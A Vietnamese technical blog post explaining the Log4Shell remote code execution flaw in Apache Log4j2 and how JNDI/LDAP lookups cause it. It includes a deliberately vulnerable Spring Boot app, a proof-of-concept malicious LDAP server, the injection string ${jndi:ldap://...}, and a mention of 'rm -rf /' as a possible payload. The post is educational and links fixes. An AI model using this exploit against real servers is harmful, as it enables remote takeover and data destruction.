Lỗ hổng bảo mật Log4Shell(CVE-2021-4428) của thư viện Apache Log4j2
Bài đăng này đã không được cập nhật trong 3 năm
Giới thiệu
Tóm tắt câu chuyện làm chấn động giới IT mấy ngày gần đây đó chính là, có một lỗ hổng bảo mật vô cùng nghiêm trọng liên quan đến thư viện Log4j2 được cung cấp bởi Apache khiến hacker có thể kiểm soát toàn bộ hệ thống bằng phương thức tấn công thực thi mã từ xa RCE (Remote Code Execution)
. Và vấn đề ở đây là do java JDK từ đầu không có thư viện logging mà đến tận bản 1.5 thì mới hỗ trợ thư viện java.util.logging
, tuy nhiên vẫn thiếu nhiều chức năng nên thư viện Log4j (4j - For Java)
trở nên phổ biến và đến thời điểm hiện tại thì thư viện Log4j{2}
đã xuất hiện ở rất nhiều thiết bị sử dụng Java trên toàn thế giới. Lỗ hỗng bảo mật mà thư viện này gặp phải được gọi là zero-day vulnerability
, theo wikipedia thì là một lỗi mà có thể hacker đã khai thác lỗ hổng này rồi mà nhà sản xuất/phát triển chưa biết cái gì cả cho đến tận ngày 9/12 gần đây thì Apache mới công khai qua một thông báo về lỗ hổng có ID là CVE-2021-44228 (Common Vulnerabilities and Exposures)
hay còn gọi là Log4Shell
.
Mô tả lỗ hổng
Mọi thứ bắt đầu từ một dòng log cơ bản:
//using log4j vulnerability version (up to 2.14).
org.apache.logging.log4j.LogManager.getLogger("Hello World").info("Hello: {}", inputString);
Nếu inputString
là một static variable như Logbasex
thì chẳng có chuyện gì nguy hiểm xảy ra cả, tuy nhiên nếu inputString
là một dynamic variable dạng như sau: ${java:version}
(variable expansion) thì thư viện Log4j sẽ tiến hành việc lookup nhiều nơi để có được thông tin phù hợp bằng cách tìm kiếm ở local server (current time, os, java version...) hoặc remote server. Log4j thực thi việc remote lookup thông qua một khái niệm được gọi là Java Naming and Directory Interface (JNDI), JNDI cung cấp cho chúng ta một cách để tìm kiếm bằng cách sử dụng các dịch vụ và giao thức khác nhau như Lightweight Directory Access Protocol (LDAP), Java Remote Method Invocation (RMI)... tuy nhiên trong phạm vi bài viết này, chúng ta sẽ tập trung vào giao thức LDAP.
JNDI có cú pháp khá đơn giản: ${jndi:protocol://server}
. Các block ${}
có thể được lồng vào nhau cho phép việc hacker có thể khai thác thông tin qua những biến môi trường được config sẵn trong hệ thống như hình dưới đây:
Trông nguy hiểm đấy tuy nhiên thì vấn đề chưa dừng lại ở đây. RFC 2713 (Request For Comments) định nghĩa rằng các object Java có thể được lưu trữ trong một Directory Service - và thông qua JNDI, các object này có thể khởi tạo từ static initialization block không qua một khái niệm gọi là unmarshalling (cái này hơi khác so với deserialization nha, các bạn có thể đọc thêm ở đây), điều này có nghĩa là khi class được load bằng class loader thì static initialization block sẽ được thực thi, nhưng thay vì khởi tạo object thì staic block này lại tiến hành gọi shell command như rm -rf /
chẳng hạn.
Demo
I. Vunerable app
- Khởi tạo ứng dụng spring-boot ở đây họăc từ IDE.
- Code ví dụ file
build.gradle
plugins { id 'org.springframework.boot' version '2.6.1' id 'io.spring.dependency-management' version '1.0.11.RELEASE' id 'java' } group = 'com.logbasex' version = '0.0.1-SNAPSHOT' sourceCompatibility = '1.8' repositories { mavenCentral() } dependencies { implementation('org.springframework.boot:spring-boot-starter-web') { exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging' } implementation 'org.springframework.boot:spring-boot-starter-log4j2:2.6.1' testImplementation 'org.springframework.boot:spring-boot-starter-test' } test { useJUnitPlatform() }
- Code ví dụ main application
package com.logbasex.vulnerableapp; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class VulnerableAppApplication { public static void main(String[] args) { SpringApplication.run(VulnerableAppApplication.class, args); } }
- Code ví dụ Controller
package com.logbasex.vulnerableapp; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestHeader; import org.springframework.web.bind.annotation.RestController; @RestController public class MainController { private static final Logger logger = LogManager.getLogger("HelloWorld"); @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { //using log4j vulnerability version. logger.info("Received a request for API version: {}", apiVersion); return "Hello, world!"; } }
II. LDAP Server
- Code ví dụ
build.gradle
plugins { id 'java' } version 'unspecified' repositories { mavenCentral() } dependencies { implementation 'com.unboundid:unboundid-ldapsdk:3.1.1' testImplementation 'org.junit.jupiter:junit-jupiter-api:5.7.2' testRuntimeOnly 'org.junit.jupiter:junit-jupiter-engine:5.7.2' } test { useJUnitPlatform() }
- Code ví dụ LDAP server
package com.logbasex.ldapserver; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.net.InetAddress; import java.util.logging.ConsoleHandler; /** * This is a proof of concept implementation of CVE-2021-44228 (https://github.com/advisories/GHSA-jfh8-c2jp-5v3q) */ public class LDAPServer { public static void main(String... args) { final int port = 1389; try { final InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=exploit,dc=com"); config.setListenerConfigs(new InMemoryListenerConfig("exploit", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor()); config.setAccessLogHandler(new ConsoleHandler()); final InMemoryDirectoryServer server = new InMemoryDirectoryServer(config); System.out.println("[+] LDAP Server Start Listening on " + port + " ...."); server.startListening(); } catch (Exception ex) { ex.printStackTrace(); } } private static final class OperationInterceptor extends InMemoryOperationInterceptor { @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { try { final String baseDn = result.getRequest().getBaseDN(); System.out.println("[+] Received LDAP Query: " + baseDn); sendSerializedResult(result, new Entry(baseDn)); } catch (Exception ex) { ex.printStackTrace(); } } // Works all the time // ${jndi:ldap://127.0.0.1/a} private void sendSerializedResult(InMemoryInterceptedSearchResult result, Entry entry) throws LDAPException, IOException { final String send = "Logbasex had entered your house through a Apache Log4j2 Vulnerability."; final ByteArrayOutputStream serializedStream = new ByteArrayOutputStream(); final ObjectOutputStream objectStream = new ObjectOutputStream(serializedStream); objectStream.writeObject(send); serializedStream.flush(); entry.addAttribute("javaClassName", send.getClass().getName()); entry.addAttribute("javaSerializedData", serializedStream.toByteArray()); //this allows an attacker to execute "arbitrary code/command" like remove file, shutdown server, etc. result.sendSearchEntry(entry); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
Ở trong bài viết này mình chỉ demo một ví dụ đơn giản đó là trả về một string khi vunerable-app
lookup đến ldap-server
, nếu bạn muốn tìm nghiên cứu sâu hơn thì có thể xem qua tool JNDIExploit này (Hiện tại chưa hiểu lý do vì sao mà nó bị gỡ khỏi Github).
III. Video và code example
- Video: https://www.youtube.com/watch?v=tcADI27llZg
- Code repo: https://github.com/logbasex/log4shell-RCE-example
Cách khắc phục
Hiện tại thì đã có nhiều bài viết chi tiết về vấn đề này, mình sẽ không đề cập đến nữa. Các bạn có thể xem thông tin chi tiết ở những link sau:
- https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot
- https://dev.to/composite/how-to-pass-the-log4j2-vulnerability-quick-453h
Bonus
Nguồn tham khảo
- https://stackoverflow.com/questions/3636692/what-is-the-difference-between-ldap-and-filesystem-jndis
- https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/index.html
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
- https://www.veracode.com/blog/research/exploiting-jndi-injections-java
- https://www.youtube.com/watch?v=ziZnU3t-DRM
- https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild
- https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
- https://medium.com/geekculture/log4shell-zero-day-exploit-walkthrough-f42352612ca6
All rights reserved